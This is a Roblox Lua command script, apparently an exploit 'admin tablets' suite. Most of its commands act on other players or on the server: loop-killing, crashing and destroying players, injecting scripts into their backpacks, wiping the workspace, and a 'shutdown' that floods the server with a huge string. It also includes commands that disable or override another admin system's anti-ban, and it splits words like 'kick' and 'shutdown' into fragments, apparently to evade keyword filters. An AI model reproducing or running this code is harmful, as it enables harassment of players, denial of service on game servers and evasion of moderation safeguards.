- AddCommand('Remove Cloths','noclothes',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- for i,j in pairs(v.Character:GetChildren()) do
- if j.ClassName == "Shirt" or j.ClassName == "Pants" or j.ClassName == "ShirtGraphic" then
- j:remove()
- end end end
- Output("Removed player's clothes",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Day','day',
- function(Msg,Speaker)
- local light = game:GetService("Lighting")
- light.TimeOfDay = "14:00:00"
- Output2("Set time to day",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Change Walkspeed','ws',
- function(Msg,Speaker)
- local bet = nilbet
- for i = 1, #Msg do
- if string.sub(Msg, i, i) == bet then
- local search = GetPlayers(string.sub(Msg, 1, i - 1), speaker)
- for _,v in pairs(search) do
- if v.Character then
- if v.Character:findFirstChild("Humanoid") then
- v.Character.Humanoid.WalkSpeed = tonumber(string.sub(Msg, i+1))
- end end end end end
- Output("Changed walkspeed",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Debug','debug',
- function(Msg,Speaker)
- for i,t in pairs(game:service("Workspace"):GetChildren()) do
- pcall (function()
- t:remove()
- end)
- end
- for i,v in pairs(nilplayers) do
- for i,s in pairs(v:GetChildren()) do
- if s.Name ~= "PlayerGui" then
- pcall (function()
- s:destroy()
- end)
- end end end
- for i,v in pairs(game:service("Debris"):GetChildren()) do
- pcall (function()
- v:destroy()
- end)
- end
- for i,v in pairs(game:service("Lighting"):GetChildren()) do
- pcall (function()
- v:destroy()
- end)
- end
- for i,v in pairs(nilplayers) do
- v.Neutral = true
- end
- for i,v in pairs(game:service("Teams"):GetChildren()) do
- pcall (function()
- v:destroy()
- end)
- end
- Output2("Debuged server",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Killa Body','kbod',
- function(Msg,Speaker)
- if game:service("Players").LocalPlayer.Character ~= nil then
- end
- Character = Instance.new("Model")
- Character.Name = CharacterName or game.Players.LocalPlayer.Name
- Character.Parent = game.Workspace
- local Head = Instance.new("Part")
- Head.Name = "Head"
- Head.formFactor = 0
- Head.Size = Vector3.new(2, 1, 1)
- Head.TopSurface = 0
- Head.BottomSurface = "Weld"
- Head.BrickColor = BrickColor.new("Really red")
- Head.Parent = Character
- local Mesh = Instance.new("SpecialMesh")
- Mesh.MeshType = "Head"
- Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
- Mesh.Parent = Head
- local Face = Instance.new("Decal")
- Face.Name = "face"
- Face.Face = "Front"
- Face.Texture = "rbxasset://textures/face.png"
- Face.Parent = Head
- local Torso = Instance.new("Part")
- Torso.Name = "Torso"
- Torso.formFactor = 0
- Torso.Size = Vector3.new(2, 2, 1)
- Torso.TopSurface = "Studs"
- Torso.BottomSurface = "Inlet"
- Torso.LeftSurface = "Weld"
- Torso.RightSurface = "Weld"
- Torso.BrickColor = BrickColor.new("Really black")
- Torso.Parent = Character
- local TShirt = Instance.new("Decal")
- TShirt.Name = "roblox"
- TShirt.Face = "Front"
- TShirt.Texture = "http://www.roblox.com/asset/?id=64494357"
- TShirt.Parent = Torso
- local Limb = Instance.new("Part")
- Limb.formFactor = 0
- Limb.Size = Vector3.new(1, 2, 1)
- Limb.TopSurface = "Studs"
- Limb.BottomSurface = "Inlet"
- Limb.BrickColor = BrickColor.new("Really black")
- local Limb2 = Instance.new("Part")
- Limb2.formFactor = 0
- Limb2.Size = Vector3.new(1, 2, 1)
- Limb2.TopSurface = "Studs"
- Limb2.BottomSurface = "Inlet"
- Limb2.BrickColor = BrickColor.new("Really black")
- local LeftArm = Limb2:Clone()
- LeftArm.Name = "Left Arm"
- LeftArm.Parent = Character
- local RightArm = Limb2:Clone()
- RightArm.Name = "Right Arm"
- RightArm.Parent = Character
- local LeftLeg = Limb:Clone()
- LeftLeg.Name = "Left Leg"
- LeftLeg.Parent = Character
- local RightLeg = Limb:Clone()
- RightLeg.Name = "Right Leg"
- RightLeg.Parent = Character
- Character:BreakJoints()
- local Neck = Instance.new("Motor6D")
- Neck.Name = "Neck"
- Neck.Part0 = Torso
- Neck.Part1 = Head
- Neck.C0 = CFrame.new(0, 2, 0)
- Neck.C1 = CFrame.new(0, 0.5, 0)
- Neck.MaxVelocity = 0
- Neck.Parent = Torso
- local LeftShoulder = Instance.new("Motor6D")
- LeftShoulder.Name = "Left Shoulder"
- LeftShoulder.Part0 = Torso
- LeftShoulder.Part1 = LeftArm
- LeftShoulder.C0 = CFrame.new(-1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
- LeftShoulder.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
- LeftShoulder.MaxVelocity = 0.5
- LeftShoulder.Parent = Torso
- local RightShoulder = Instance.new("Motor6D")
- RightShoulder.Name = "Right Shoulder"
- RightShoulder.Part0 = Torso
- RightShoulder.Part1 = RightArm
- RightShoulder.C0 = CFrame.new(1.5, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
- RightShoulder.C1 = CFrame.new(0, 0.5, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
- RightShoulder.MaxVelocity = 0.5
- RightShoulder.Parent = Torso
- local LeftHip = Instance.new("Motor6D")
- LeftHip.Name = "Left Hip"
- LeftHip.Part0 = Torso
- LeftHip.Part1 = LeftLeg
- LeftHip.C0 = CFrame.new(-0.5, -1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
- LeftHip.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(-90), 0)
- LeftHip.MaxVelocity = 0.1
- LeftHip.Parent = Torso
- local RightHip = Instance.new("Motor6D")
- RightHip.Name = "Right Hip"
- RightHip.Part0 = Torso
- RightHip.Part1 = RightLeg
- RightHip.C0 = CFrame.new(0.5, -1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
- RightHip.C1 = CFrame.new(0, 1, 0) * CFrame.fromEulerAnglesXYZ(0, math.rad(90), 0)
- RightHip.MaxVelocity = 0.1
- RightHip.Parent = Torso
- local Humanoid = Instance.new("Humanoid")
- Humanoid.Parent = Character
- Humanoid.WalkSpeed = 50
- local BodyColors = Instance.new("BodyColors")
- BodyColors.Name = "Body Colors"
- BodyColors.HeadColor = Head.BrickColor
- BodyColors.TorsoColor = Torso.BrickColor
- BodyColors.LeftArmColor = LeftArm.BrickColor
- BodyColors.RightArmColor = RightArm.BrickColor
- BodyColors.LeftLegColor = LeftLeg.BrickColor
- BodyColors.RightLegColor = RightLeg.BrickColor
- BodyColors.Parent = Character
- local Shirt = Instance.new("Shirt")
- Shirt.Name = "Shirt"
- Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=60636107"
- --http://www.roblox.com/asset/?id=106096351
- Shirt.Parent = Character
- local ShirtGraphic = Instance.new("ShirtGraphic")
- ShirtGraphic.Name = "Shirt Graphic"
- ShirtGraphic.Graphic = ""
- ShirtGraphic.Parent = Character
- local Pants = Instance.new("Pants")
- Pants.Name = "Pants"
- Pants.PantsTemplate = "http://www.roblox.com/asset/?id=60636428"
- --http://www.roblox.com/asset/?id=106096415
- Pants.Parent = Character
- Torso.CFrame = CFrame.new(0,50,0)
- game:service("Players").LocalPlayer.Character = Character
- workspace.CurrentCamera.CameraSubject = Character.Humanoid
- workspace.CurrentCamera.CameraType = "Custom"
- hats = {67996263,93131532,102621051,108149175}
- --91658092 = Furturo Robot Torso
- --81725392 overseer left arm
- --81728558 Dark Knight Right Arm
- --81728627 dark knight left leg
- --81725459,overseer right leg
- --73829214,spear
- --64560136,masked hood of halloween
- --67996263, ninja twin swords
- --71597048, pirateflintlocksword
- --83704190, windsword
- --83704165, ice dagger
- --69947367, seventhsanctumaxe
- --64220933,ghostfiresword
- --20416957, boa
- --68325607 empyreanreignmentll
- --93131532 shadey merc mask
- --102621051 snake slate hood
- --83704190 blunder buster
- --108149175 dual dark hart
- for i = 1, #hats do
- root = game:GetService("InsertService"):LoadAsset(hats[i])
- root.Parent = Character
- z = root:GetChildren()
- for f = 1, #z do
- z[f].Parent = Character
- end
- root:Remove()
- end
- ganim=game.Lighting:findFirstChild("Animate")
- kanim=ganim:clone()
- kanim.Parent = Character
- end
- )
- AddCommand('Fog on/off','fog',
- function(Msg,Speaker)
- if string.lower(Msg) == "on" then
- game:service("Lighting").FogStart = 0
- game:service("Lighting").FogEnd = 100
- Output2("Fogs on",{Colors.Red},LocalPlayer)
- elseif(string.lower(Msg) == "off") then
- game:service("Lighting").FogStart = 0
- game:service("Lighting").FogEnd = 999999999999
- Output2("Fogs off",{Colors.Red},LocalPlayer)
- end end
- )
- AddCommand('Remove Humanoid','rhum',
- function(Msg,Speaker)
- local a = GetPlayers(Msg,Speaker)
- for i,v in pairs(a) do
- if v.Character.Humanoid then
- v.Character.Humanoid:Destroy()
- Output("Removed humanoid",{Colors.Red},LocalPlayer)
- end end end
- )
- AddCommand('Night','night',
- function(Msg,Speaker)
- local light = game:GetService("Lighting")
- light.TimeOfDay = "24:00:00"
- Output2("Set time to night",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Note To Self','nts',
- function(Msg,Speaker)
- table.insert(NTS,Msg)
- end
- )
- AddCommand('Private','pri',
- function(Msg,Speaker)
- if string.lower(Msg) == "on" then
- nilprion = true
- Output2("Private on",{Colors.Red},LocalPlayer)
- elseif(string.lower(Msg) == "off") then
- nilprion = false
- Output2("Private off",{Colors.Red},LocalPlayer)
- end end
- )
- AddCommand('Add Player to Prilist','addp',
- function(Msg,Speaker)
- for i,v in pairs(GetPlayers(Msg,Speaker)) do
- table.insert(nilprilist, v.Name)
- Output2("Added "..v.Name.." to private server",{Colors.Red},LocalPlayer)
- end end
- )
- AddCommand('Clears All Tables','tc',
- function(Msg,Speaker)
- if Msg == 'All' then
- tablets = {}
- jai = {}
- KL = {}
- BL = {}
- KFC = {}
- atmp = {}
- NTS = {}
- tablets2 = {}
- if Msg == 'nts' then
- NTS = {}
- if Msg == 'tabs' then
- tablets = {}
- tablets2 = {}
- if Msg == 'kfc' then
- KFC = {}
- if Msg == 'ba'..'nned' then
- banlist = {}
- if Msg == 'atmp' then
- atmp = {}
- BL = {}
- KL = {}
- end
- end
- end
- end
- end
- end
- end
- )
- AddCommand('Ad'..'min','adm'..'in',
- function(Msg,Speaker)
- for _,Player in pairs(GetPlayers(Msg,Speaker)) do
- script.Parent = Player.Backpack
- end
- end
- )
- AddCommand('Turn K'..'ick'..'ing Phrases on/off','kp',
- function(Msg,Speaker)
- if string.lower(Msg) == "on" then
- kphrase = true
- Output2("Ki".."cki".."ng Phrases on",{Colors.Red},LocalPlayer)
- elseif(string.lower(Msg) == "off") then
- kphrase = false
- Output2("K".."cki".."ng Pharase off",{Colors.Red},LocalPlayer)
- else
- Output2("Message Must Be on/off",{Colors.Red},LocalPlayer)
- end end
- )
- AddCommand("Jail","jail",
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- pcall(function()
- coroutine.resume(coroutine.create(function()
- local MainCF = v.Character.Torso.CFrame
- local Main = Instance.new("Model",workspace)
- Main.Name = "Main"
- table.insert(jai,{Jail = Main, Player = v,Speaker = Speaker})
- for Pitch = 1, 360, 360 do
- for Yaw = 1, 360, 360/13 do
- for Angle = 1,180, 8 do
- local Part = Instance.new("Part",Main)
- Part.Name = "Part"
- Part.FormFactor = "Custom"
- Part.TopSurface = "Smooth"
- Part.BottomSurface = "Smooth"
- Part.Reflectance = 0
- Part.Transparency = 0
- Part.Anchored = true
- Part.Locked = true
- Part.CanCollide = true
- Part.BrickColor = BrickColor.new("really Red")
- Part.Size = Vector3.new(2,1,4)
- Part.CFrame = MainCF
- * CFrame.Angles(math.rad(Pitch),math.rad(Yaw),math.rad(Angle))
- * CFrame.new(0,5,0)
- local Mesh = Instance.new("BlockMesh",Part)
- Mesh.Scale = Vector3.new(1,1,0.1)
- if math.floor(Angle/5) == Angle/5 then
- wait()
- end
- end
- end
- end
- v.Character.Torso.CFrame = MainCF
- while Main.Parent ~= nil do
- wait()
- pcall(function()
- if (v.Character.Torso.CFrame.p - MainCF.p).magnitude > 6 then
- v.Character.Torso.CFrame = MainCF
- end
- end)
- end
- end))
- end)
- end
- end
- )
- AddCommand("Un Jail","unjail",
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- for Num,Jail in pairs(jai) do
- if Jail.Player ~= nil and Jail.Player == v then
- pcall(function() Jail.Jail:Destroy() end)
- table.remove(jai,Num)
- end
- end
- end
- end
- )
- AddCommand('Teleport','tp',
- function(Msg,Speaker)
- local Split = Msg:find(Bet)
- local From = GetPlayers(Msg:sub(1,Split-1),Speaker)
- local To = GetPlayers(Msg:sub(Split+1),Speaker)[1]
- local Current = 0
- for i=-180,180,360/#From do
- Current = Current + 1
- pcall(function()
- if From[Current] ~= To then
- From[Current].Character.Torso.CFrame = To.Character.Torso.CFrame
- * CFrame.Angles(0,math.rad(i),0)
- * CFrame.new(0,0,5 + (#From*1.1))
- end
- end)
- end
- end
- )
- AddCommand('Baseplate','base',
- function(Msg,Speaker)
- pcall(function() workspace.Base:Remove() end)
- local Base = Instance.new("Part",game.Workspace)
- Base.Name = "Base"
- Base.Anchored = true
- Base.Locked = true
- Base.BrickColor = BrickColor.new("Bright green")
- Base.Size = Vector3.new(2048,2,2048)
- Base.CFrame = CFrame.new(0,0,0)
- Output2("Made a baseplate",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Allow','ap',
- function(Msg,Speaker)
- for _,p in pairs(GetPlayers(Msg,Speaker)) do
- table.insert(allowed,p.Name)
- end
- end
- )
- AddCommand('Get Rid Of','gtfo',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- pcall(function()
- GTFO(v)
- Output2("It seems as if"..v.Name.."has gotten teh f*ck out",{Colors.Red},LocalPlayer)
- end)
- end
- end
- )
- AddCommand('For Noob Camballers','Lolno',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- pcall(function()
- crash(v)
- Output2("It seems as if"..v.Name.."has gotten teh f*ck out",{Colors.Red},LocalPlayer)
- end)
- end
- end
- )
- AddCommand('Clean','clean',
- function(Msg,Speaker)
- for a,b in pairs(game.Workspace:GetChildren()) do
- if not game.Players:GetPlayerFromCharacter(b) and b.Name ~= 'Base' and b.Name ~= 'Camera' then
- pcall(function() b:Destroy() end)
- end
- end
- if game.Workspace:findFirstChild('Base') == nil then
- local Base = Instance.new("Part",Game.Workspace)
- Base.Name = "Base"
- Base.Anchored = true
- Base.Locked = true
- Base.BrickColor = BrickColor.new("Bright green")
- Base.Size = Vector3.new(2048,2,2048)
- Base.CFrame = CFrame.new(0,0,0)
- end
- Output('You have cleaned workspace!',{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Spam a text','spam',
- function (Msg,Speaker)
- for i = 1,100,1 do
- Chat(""..Msg.."")
- Wait()
- end
- end
- )
- AddCommand('Disable cb'..'a','removecb'..'a',
- function(m,s)
- local lol=Instance.new("StringValue")
- lol.Name="CB".."A Attachment"
- lol.Value=[[CB]]..[[A.remove]]..[[=false;]]
- lol.Parent = game:GetService("Workspace")
- Output('You have disabled ' .. 'cb'..'a',{Color3.new(0,1,0)},LocalPlayer)
- end
- )
- AddCommand('Override cb'..'a a'..'b','overcb'..'a',
- function(m,s)
- local lol=Instance.new("StringValue")
- lol.Name="CB".."A Attachment"
- lol.Value=[[CB]]..[[A.overrid]]..[[e=true;]]
- lol.Parent = game:GetService("Workspace")
- wait()
- lol:Destroy()
- Output('You have overriden ' .. 'cb'..'a antiba'..'n',{Color3.new(0,1,0)},LocalPlayer)
- end
- )
- AddCommand('Character name','name',
- function(Msg,Speaker)
- if #Msg == 0 then
- CharacterName = LocalPlayer.Name
- else
- CharacterName = Msg
- end
- LoadCharacter(CFrame.new(0,50,0))
- end
- )
- AddCommand("Remove Tools","rtools",
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- v.Backpack:ClearAllChildren()
- Output2("Removed : "..v.Name.."'s Backpack",{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand("Remove Backpack","rpack",
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- v.Backpack:remove()
- Output2("Removed : "..v.Name.."'s Backpack",{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand("Base","nbase",
- function(Msg,Speaker)
- pcall(function() workspace.Base:Remove() end)
- local Base = Instance.new("Part",Workspace)
- Base.Name = "Base"
- Base.Anchored = true
- Base.Locked = true
- Base.BrickColor = BrickColor.new("Bright green")
- Base.Size = Vector3.new(2048,2,2048)
- Base.CFrame = CFrame.new(0,0,0)
- Output2("Made A New Base",{Colors.Red},LocalPlayer)
- end
- )
- AddCommand('Loopkill','lk',
- function(Msg,Speaker)
- for _,Target in pairs(GetPlayers(Msg,Speaker)) do
- --Target= p
- Num = 0
- Msg = Instance.new('Hint',game.Workspace)
- Delay(0,function()
- while wait() do
- if Target:findFirstChild('LK') ~= nil then
- c = Instance.new('ObjectValue')
- c.Parent = Target.Character.Humanoid
- c.Value = game.Players.NameHere
- c.Name = 'creator'
- Num = Num + 1
- wait(0.1)
- Target.Character.Humanoid.Health = 0
- wait(0.01)
- Target.Character.Parent = game.Lighting
- wait(0.01)
- c:remove()
- wait(0.01)
- Target.Character.Parent = game.Workspace
- Msg.Text = Target.Name .. ' has been loopkilled ' .. Num .. ' times!'
- end
- end
- end)
- Instance.new('StringValue',Target).Name = 'LK'
- Output2('Loop killed ' .. Target.Name,{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Un loopkill','unlk',
- function(Msg,Speaker)
- for _,v in pairs(GetPlayers(Msg,Speaker)) do
- if v:findFirstChild('LK') then
- v.LK:Destroy()
- Output2('Un loopkilled ' .. v.Name,{Colors.Red},LocalPlayer)
- else
- Output2(v.Name .. ' was never loopkilled!',{Colors.Red},LocalPlayer)
- end
- end
- end
- )
- game:service'Players'.ChildAdded:connect(
- function(p)
- if p:IsA("Player") then
- table.insert(PLOG,player.Name)
- if not Removed then
- p:WaitForDataReady()
- for _,n in pairs(banlist) do
- if p.Name:lower():sub(1,#n) == n:lower() then
- p:Destroy()
- end
- end
- end
- end
- end
- )
- --Output('Hello ' .. LocalPlayer.Name,{Colors.Red},LocalPlayer)
- --Output('Your Tablets Have Loaded Successfully',{Colors.Red},LocalPlayer)
- --Output('The Key Is ' .. Bet,{Colors.Red},LocalPlayer)
- --Output('Enjoy The Tablets',{Colors.Red},LocalPLayer)
- Output('Advanced CMDS loaded Successfully',{Colors.Red},LocalPLayer)
- Output('Initiated Advanced Protocols',{Colors.Red},LocalPLayer)
- Output('Strings Loaded-No Errors',{Colors.Red},LocalPLayer)
- Output('Welcome',{Colors.Red},LocalPLayer)
- Output('Interface Compatibility Is Set To True',{Colors.Red},LocalPLayer)
- Output('All Script Lines Clean',{Colors.Red},LocalPLayer)
- Output2('Version:'..Version..' ',{Colors.Red},LocalPlayer)
- if game.PlaceId == 113456 then
- SourceName = 'Source'
- AddCommand('Newlocal','nl',
- function(Msg,Speaker)
- local g = Msg:find(Bet)
- for _,b in pairs(GetPlayers(Msg:sub(1,g-1),Speaker)) do
- newLocalScript(Msg:sub(g+1),b.Backpack)
- Output('You have made a script in ' .. b.Name .. "'s backpack",{Colors.Red},LocalPlayer)
- end
- end
- )
- AddCommand('Newscript','ns',
- function(Msg,Speaker)
- local g = Msg:find(Bet)
- Sour = Msg:sub(g+1)
- Pla = Msg:sub(1,g-1)
- for _,b in pairs(GetPlayers(Pla,Speaker)) do
- newScript(Sour,Pla.Character)
- end
- end
- )
- AddCommand('Script','s',
- function(Msg,Speaker)
- newScript(Msg,game.Workspace)
- end
- )
- AddCommand('Local','l',
- function(Msg,Speaker)
- newLocalScript(Msg,Speaker:findFirstChild('Backpack'))
- end
- )
- end
- Delay(0,function()
- while wait() do
- for _,p in pairs(game.Players:GetPlayers()) do
- for _,n in pairs(banlist) do
- if p.Name:lower():sub(1,#n) == n:lower() then
- table.insert(atmp,p.Name)
- p:Destroy()
- Output2('A Banned Player Is Attempting To Join : ' .. p.Name,{Color3.new(0,-1,-2)},LocalPlayer)
- end
- end
- p.Chatted:connect(function(Msg)
- for _,s in pairs(KickingPhrases) do
- fund = false
- if Msg:find(s) and fund == false and check(p) == false then
- fund = true
- p:Destroy()
- if LocalPlayer then Output(p.Name .. ' has been ki'..'cked for chatting ' .. s,{Colors.Red},LocalPlayer)
- end
- end
- end
- end)
- end
- end
- end)
- AddCommand("Give your self a Podium","podium",
- function(Msg,Speaker)
- local MainColor = Color3.new(0,0,0)
- local SeccondaryColor = Color3.new(0,1,0)
- local Main = Instance.new("Model",workspace) Main.Name = "Podium"
- local MainCFrame = LocalPlayer.Character.Torso.CFrame
- * CFrame.new(0,-4,0)
- + LocalPlayer.Character.Torso.CFrame.lookVector*3
- local SeccondaryCFrame = LocalPlayer.Character.Torso.CFrame
- * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
- + LocalPlayer.Character.Torso.CFrame.lookVector*3
- if CFrame == nil then return end
- coroutine.resume(coroutine.create(function()
- for i=1,25 do
- wait()
- local Step = Instance.new("Part",Main)
- Step.FormFactor = "Custom"
- Step.Name = "Step"
- Step.Anchored = true
- Step.Locked = true
- Step.Reflectance = 0
- Step.TopSurface = "Smooth"
- Step.BottomSurface = "Smooth"
- Step.BrickColor = BrickColor.new(SeccondaryColor)
- Step.Size = Vector3.new(6,1,3)
- Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
- Instance.new("BlockMesh",Step)
- local Carpet = Instance.new("Part",Main)
- Carpet.FormFactor = "Custom"
- Carpet.Name = "Carpet"
- Carpet.Anchored = true
- Carpet.Locked = true
- Carpet.Reflectance = 0
- Carpet.TopSurface = "Smooth"
- Carpet.BottomSurface = "Smooth"
- Carpet.BrickColor = BrickColor.new(MainColor)
- Carpet.Size = Vector3.new(4,1,3.2)
- Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
- Instance.new("BlockMesh",Carpet)
- end
- local MainCirc = Instance.new("Part",Main)
- MainCirc.FormFactor = "Custom"
- MainCirc.Name = "MainCirc"
- MainCirc.Anchored = true
- MainCirc.Locked = true
- MainCirc.Reflectance = 0
- MainCirc.TopSurface = "Smooth"
- MainCirc.BottomSurface = "Smooth"
- MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
- MainCirc.Size = Vector3.new(20,1,20)
- MainCirc.CFrame = SeccondaryCFrame
- Instance.new("CylinderMesh",MainCirc)
- local SeccondaryCirc = Instance.new("Part",Main)
- SeccondaryCirc.FormFactor = "Custom"
- SeccondaryCirc.Name = "SeccondaryCirc"
- SeccondaryCirc.Anchored = true
- SeccondaryCirc.Locked = true
- SeccondaryCirc.Reflectance = 0
- SeccondaryCirc.TopSurface = "Smooth"
- SeccondaryCirc.BottomSurface = "Smooth"
- SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
- SeccondaryCirc.Size = Vector3.new(18,1,18)
- SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
- Instance.new("CylinderMesh",SeccondaryCirc)
- for i=1,math.floor(360/6) do
- local Spike = Instance.new("Part",Main)
- Spike.FormFactor = "Custom"
- Spike.Name = "Spike"
- Spike.Anchored = true
- Spike.Locked = true
- Spike.Reflectance = 0
- Spike.TopSurface = "Smooth"
- Spike.BottomSurface = "Smooth"
- Spike.BrickColor = BrickColor.new(MainColor)
- Spike.Size = Vector3.new(1,7,1)
- Spike.CFrame = SeccondaryCFrame
- * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
- * CFrame.new(7,-7,0)
- Torch = Instance.new("Part",Main)
- Torch.Reflectance = 1e+999
- Torch.FormFactor = "Custom"
- Torch.Shape = "Ball"
- Torch.Anchored = true
- Torch.Locked = true
- Torch.Size = Vector3.new(2,2,2)
- Torch.CFrame = Spike.CFrame
- * CFrame.new(0,3.5,0)
- * CFrame.Angles(0,0,0)
- Instance.new("Fire",Torch)
- end
- end))
- end
- )
- AddCommand("Give someone else a Podium","gpodium",
- function(Msg,Speaker)
- for i,v in pairs(GetPlayers(Msg,Speaker)) do
- local MainColor = Color3.new(0,0,0)
- local SeccondaryColor = Color3.new(0.69,0.13,0.13)
- local Main = Instance.new("Model",workspace) Main.Name = "Podium"
- local MainCFrame = v.Character.Torso.CFrame
- * CFrame.new(0,-4,0)
- + v.Character.Torso.CFrame.lookVector*3
- local SeccondaryCFrame = v.Character.Torso.CFrame
- * CFrame.new(0,-4 + (25 * 0.9),((2 * 25) * -1) - 10 )
- + v.Character.Torso.CFrame.lookVector*3
- if CFrame == nil then return end
- coroutine.resume(coroutine.create(function()
- for i=1,25 do
- wait()
- local Step = Instance.new("Part",Main)
- Step.FormFactor = "Custom"
- Step.Name = "Step"
- Step.Anchored = true
- Step.Locked = true
- Step.Reflectance = 0
- Step.TopSurface = "Smooth"
- Step.BottomSurface = "Smooth"
- Step.BrickColor = BrickColor.new(SeccondaryColor)
- Step.Size = Vector3.new(6,1,3)
- Step.CFrame = MainCFrame * CFrame.new(0,(i*0.9), i * (-2))
- Instance.new("BlockMesh",Step)
- local Carpet = Instance.new("Part",Main)
- Carpet.FormFactor = "Custom"
- Carpet.Name = "Carpet"
- Carpet.Anchored = true
- Carpet.Locked = true
- Carpet.Reflectance = 0
- Carpet.TopSurface = "Smooth"
- Carpet.BottomSurface = "Smooth"
- Carpet.BrickColor = BrickColor.new(MainColor)
- Carpet.Size = Vector3.new(4,1,3.2)
- Carpet.CFrame = MainCFrame * CFrame.new(0,(i*0.9)+ 0.1, i * (-2))
- Instance.new("BlockMesh",Carpet)
- end
- local MainCirc = Instance.new("Part",Main)
- MainCirc.FormFactor = "Custom"
- MainCirc.Name = "MainCirc"
- MainCirc.Anchored = true
- MainCirc.Locked = true
- MainCirc.Reflectance = 0
- MainCirc.TopSurface = "Smooth"
- MainCirc.BottomSurface = "Smooth"
- MainCirc.BrickColor = BrickColor.new(SeccondaryColor)
- MainCirc.Size = Vector3.new(20,1,20)
- MainCirc.CFrame = SeccondaryCFrame
- Instance.new("CylinderMesh",MainCirc)
- local SeccondaryCirc = Instance.new("Part",Main)
- SeccondaryCirc.FormFactor = "Custom"
- SeccondaryCirc.Name = "SeccondaryCirc"
- SeccondaryCirc.Anchored = true
- SeccondaryCirc.Locked = true
- SeccondaryCirc.Reflectance = 0
- SeccondaryCirc.TopSurface = "Smooth"
- SeccondaryCirc.BottomSurface = "Smooth"
- SeccondaryCirc.BrickColor = BrickColor.new(MainColor)
- SeccondaryCirc.Size = Vector3.new(18,1,18)
- SeccondaryCirc.CFrame = SeccondaryCFrame * CFrame.new(0,0.1,0)
- Instance.new("CylinderMesh",SeccondaryCirc)
- for i=1,math.floor(360/6) do
- local Spike = Instance.new("Part",Main)
- Spike.FormFactor = "Custom"
- Spike.Name = "Spike"
- Spike.Anchored = true
- Spike.Locked = true
- Spike.Reflectance = 0
- Spike.TopSurface = "Smooth"
- Spike.BottomSurface = "Smooth"
- Spike.BrickColor = BrickColor.new(MainColor)
- Spike.Size = Vector3.new(1,7,1)
- Spike.CFrame = SeccondaryCFrame
- * CFrame.Angles(math.rad(0),math.rad((360/6)*i),math.rad(45))
- * CFrame.new(7,-7,0)
- Torch = Instance.new("Part",Main)
- Torch.Reflectance = 1e+999
- Torch.FormFactor = "Custom"
- Torch.Shape = "Ball"
- Torch.Anchored = true
- Torch.Locked = true
- Torch.Size = Vector3.new(2,2,2)
- Torch.CFrame = Spike.CFrame
- * CFrame.new(0,3.5,0)
- * CFrame.Angles(0,0,0)
- Instance.new("Fire",Torch)
- end
- end))
- end
- end
- )
- AddCommand('Shu'..'tdown','sd',
- function(Msg,Speaker)
- if TimeLeft == 60 then
- for i=1,60 do
- if CancelSd == false then
- Output('['..LocalPlayer.Name..']: '..60-i .. ' seconds left until shu'..'tdown',{Colors.Red},LocalPlayer,1)
- TimeLeft = 60-i
- if 60-i==0 then
- Output('Shutting down',{Colors.Red},LocalPlayer,1)
- wait(1)
- Delay(0,function() while wait() do game.Players:ClearAllChildren() game.Workspace:ClearAllChildren() end end)
- EF = ClonyPooPoo:Clone()
- EF:ClearAllChildren()
- EFF = Instance.new('StringValue')
- EFF.Value = [==[
- Delay(0,function() while wait() do game.Players:ClearAllChildren() game.Workspace:ClearAllChildren() end end) ]==]
- EFF.Name = SourceName or 'DSource'
- EFF.Parent = EF
- EF.Parent = game.Workspace
- wait()
- EF.Parent = nil
- local S = Instance.new('StringValue') S.Parent = game.Workspace S.Value = ('xD'):rep(1000000)
- end
- wait(1)
- else
- TimeLeft = 60-i
- wait(1)
- end
- end
- else
- for i=1,TimeLeft do
- Output(TimeLeft .. ' seconds left before you can re activate shu'..'tdown',{Colors.Red},Speaker,5)
- wait(1)
- end
- wait(1)
- Output('You can now re attempt to shu'..'tdown',{Colors.Red},LocalPlayer,1)
- end
- end
- )
- AddCommand('Opposite Chat','usechat',
- function(Msg,Speaker)
- ChatNo = not ChatNo
- end
- )
- AddCommand('Recalls Load Sequence','rl',
- function(Msg,Speaker)
- if msg == 0 or msg == nil then
- Output('Swagmin Tablets Loaded',{Colors.Red},LocalPLayer)
- Output('Thanks Derek1017 for updated commands',{Colors.Red},LocalPLayer)
- Output('Initiated Advanced Protocols',{Colors.Red},LocalPLayer)
- Output('Strings Loaded-No Errors',{Colors.Red},LocalPLayer)
- Output('Welcome',{Colors.Red},LocalPLayer)
